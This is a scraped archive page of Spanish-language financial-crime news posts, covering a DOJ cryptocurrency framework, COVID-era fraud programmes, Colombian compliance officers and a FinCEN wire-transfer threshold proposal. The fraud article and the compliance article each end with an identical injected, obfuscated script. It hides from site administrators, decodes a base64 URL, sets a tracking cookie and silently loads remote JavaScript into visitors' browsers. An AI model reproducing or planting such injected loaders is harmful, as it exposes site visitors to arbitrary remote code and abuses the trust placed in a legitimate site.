agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada 